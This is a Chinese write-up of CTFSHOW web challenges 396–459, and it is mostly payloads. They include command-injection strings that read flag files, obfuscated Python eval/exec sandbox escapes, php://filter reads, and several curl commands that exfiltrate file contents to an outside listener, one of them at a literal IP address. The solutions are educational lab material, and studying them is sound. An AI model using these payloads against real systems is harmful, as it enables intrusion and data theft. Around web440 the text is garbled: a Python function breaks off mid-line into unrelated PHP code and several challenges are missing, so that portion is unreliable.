您当前的位置: 首页 > 

yu22x

暂无认证

  • 1浏览

    0关注

    109博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

CTFSHOW其他篇

yu22x 发布时间:2021-02-05 14:52:15 ,浏览量:1

文章目录
    • web396、397、398、399、400、401
    • web402
    • web403
    • web404
    • web405
    • web406不会
    • web407
    • web408
    • web409不会
    • web410、411
    • web412
    • web413
    • web414
    • web415
    • web416
    • web417
    • web418
    • web419
    • web420
    • web421
    • web422
        • 下面的题都是python的命令执行的,因为下面代码中的return需要返回的是字符串,所以不是字符串的我们就用str函数转换一下就好了。
    • web423
    • web424
    • web425
    • web426
    • web427
    • web428
    • web429
    • web430
    • web431
      • 后面就是正常的过滤了,因为过滤了eval所以我们只能用exec来执行了.但是exec的返回值永远是none,所以只能用一些盲打的方法了。
    • web432
    • web433
    • web434
    • web435、436、437、438、439
    • web440
    • web441
    • web442
    • web443-444
    • web445、446
    • web447
    • web448
    • web449
    • web450
    • web451
    • web452
    • web453、455、456
    • web454
    • web457
    • web458
    • web459

web396、397、398、399、400、401
url=http://1/1;echo `ls`>a.txt
url=http://1/1;echo `cat fl0g.php`>a.txt
web402
payload:url=file://1/1;echo `cat fl0g.php`>a.txt
web403
url=http://127.0.0.1/1;echo `cat fl0g.php`>a.txt
web404
url=http://127.0.0.1111;echo `cat f*`>1.txt;11/a
web405
url=httphp://127.0.0.1111;echo `cat f*`>1.txt;11/a
web406不会

web407

被认为是ipv6地址

ip=cafe::add
web408

用下大佬的话非法字符放在双引号里面绕过email@前缀限制

email=""@a.php
web409不会

web410、411
定义和用法
FILTER_VALIDATE_BOOLEAN 过滤器把值作为布尔选项来验证。

Name: "boolean"
ID-number: 258
可能的返回值:

如果是 "1", "true", "on" 以及 "yes",则返回 true。
如果是 "0", "false", "off", "no" 以及 "",则返回 false。
否则返回 NULL。

payload: b=yes

web412

payload ctfshow=%0asystem('tac f*');

web413

payload ctfshow=*/system('tac f*');/*

web414

payload ctfshow=-1

web415

payload k=Getflag

web416

payload f=ctf::flag

web417

想打人的题,一直base解最后的内容如下

include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){
	echo $flag;
}else{
	echo 'FLAG_NOT_HERE';
}
?>

payload ctf=show

web418

给的后门没法用,需要变量覆盖然后利用shell_exec payloaddie=0&clear=;cp flag.php flag.txt 然后访问flag.txt即可

web419

payload

code=`cp f* f.txt`;
web420

ls找了几个目录发现在/var/www下(ls …/) 剩下的就是打开了 payload code=nl ../*

还有一种方法,可以参考下大佬写的文章 比如我们想执行 cat index.php,可以依次执行如下命令

>php\\
>dex.\\
>\ in\\
>cat\\

接着执行ls -t >0 这样的话文件0中的内容就是 cat index.php 最后利用sh 0 来执行就可以了

web421

因为flag就在当前目录下,所有相对简单了一些 palyoad nl f*

web422

payload nl *

下面的题都是python的命令执行的,因为下面代码中的return需要返回的是字符串,所以不是字符串的我们就用str函数转换一下就好了。

最原始代码


from flask import Flask
from flask import request
import os

app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	return eval(code)
    return 'where is flag?'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)
web423

无任何过滤,,而且已经导入了os

os.popen('ls /').read()可以看到flag在根目录下。 后面的我们都盲猜flag在根目录下。 payload open('/flag').read()

web424

去掉了自带的import os payload open('/flag').read()

web425

过滤了os字符串,过滤有问题,只会匹配开头 payload open('/flag').read()

web426

过滤了os|popen,过滤有问题,只会匹配开头 payload open('/flag').read()

web427

过滤了os|popen|system,过滤有问题,只会匹配开头 payload open('/flag').read()

web428

过滤了os|popen|system|read,过滤有问题,只会匹配开头 payload open('/flag').read()

web429

过滤了os|open|system|read,过滤有问题,只会匹配开头 payload open('/flag').read() open前面有个空格

web430

过滤了os|open|system|read|eval过滤有问题,只会匹配开头 payload open('/flag').read() open前面有个空格

web431

过滤了os|open|system|read|eval|str过滤有问题,只会匹配开头 payload open('/flag').read() open前面有个空格

后面就是正常的过滤了,因为过滤了eval所以我们只能用exec来执行了.但是exec的返回值永远是none,所以只能用一些盲打的方法了。

通过一些特殊方法得到了每个的源码(不是问的群主)

web432

过滤了os|open|system|read|eval 复杂的方法的话可以用类似于模板注入的语句

str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://xxx:4567?p=`cat /f*`'))

开个nc监听一下就可以了

web433

过滤了os|open|system|read|eval|builtins payload

str(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('curl http://xxx:4567?p=`cat /f*`'))
web434

过滤了os|open|system|read|eval|builtins|curl

str(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('cu'%2b'rl http://182.92.91.240:4567?p=`cat /f*`'))
web435、436、437、438、439

435 过滤了os|open|system|read|eval|builtins|curl|_

436 过滤了os|open|system|read|eval|builtins|curl|_|getattr

437 过滤了os|open|system|read|eval|builtins|curl|_|getattr

438 过滤了os|open|system|read|eval|builtins|curl|_|getattr|{

439 过滤了os|open|system|read|eval|builtins|curl|_|getattr|{

python里面可以用分号执行多条语句 比如 a=1;b=2是没有什么问题的 payload

str(exec(')"`*f/ tac`=p?7654:xxx//:ptth lruc"(metsys.so ;so tropmi'[::-1]))
web440

过滤了os|open|system|read|eval|builtins|curl|_|getattr|{|'|" 没有了引号,我们可以用chr构造字符串

s="__import__('os').system('curl http://xxx?p=`cat /f*`')"
def ccchr(s):
	t=''
	for i in range(len(s)):
		if iheader('Content-Type', 'text/html; charset=utf-8');
	$s=$request->post['s'];
	if(isset($s)){
		file_put_contents('shell.php', $s);
		$response->end('file write done in /var/www/shell.php');
	}
	else{
		$response->end('s not found');
	}
}
public function exec($request,$response){
	system('php shell.php');
	$response->end('command exec done');
	}

也就是说,当我们访问/ctf/file post传入的s会写入shell.php中,然后当我们访问/ctf/exec时,就会去执行刚才的shell.php。 里面的内容大家就可以随意发挥了。 我写的是


得到flaaag 接着打开就可以了


web454

和上一题基本上没啥区别,就是把exec改成include就可以了

web457
u=admin&p=phpinfo

phpinfo()返回值为true,所以满足$u=='admin'

web458 web459

payload ?u=php://filter/convert.base64-encode/resource=flag.php&p=1

关注
打赏
1617522777
查看更多评论
立即登录/注册

微信扫码登录

0.0430s